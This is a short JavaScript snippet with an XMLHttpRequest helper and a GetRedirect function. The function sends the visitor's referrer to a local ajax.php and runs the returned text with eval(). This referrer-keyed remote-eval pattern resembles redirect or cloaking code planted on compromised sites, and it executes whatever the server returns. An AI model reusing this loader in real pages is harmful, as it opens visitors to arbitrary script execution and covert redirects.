function createXMLHttpRequest() {
var xmlReq = false;
if(window.XMLHttpRequest) {
try {
xmlReq = new XMLHttpRequest();
} catch(e) {
xmlReq = false;
}
} else if(window.ActiveXObject) {
try {
xmlReq = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
try {
xmlReq = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xmlReq = false;
}
}
}
return xmlReq;
}
function GetRedirect() {
method = 'GET';
ref = new String(document.referrer);
ref = ref.replace(/\&/g,"^^");
url = './ajax.php?ref=' + ref;
var xmlReq = createXMLHttpRequest();
if(xmlReq) {
xmlReq.onreadystatechange = function() {
if (xmlReq.readyState == 4) {
if (xmlReq.status == 200 || xmlReq.status == 201) {
if (xmlReq.responseText != '') {
eval(xmlReq.responseText);
}
}
}
};
xmlReq.open(method, url, true);
xmlReq.send(false);
return false;
}
return true;
}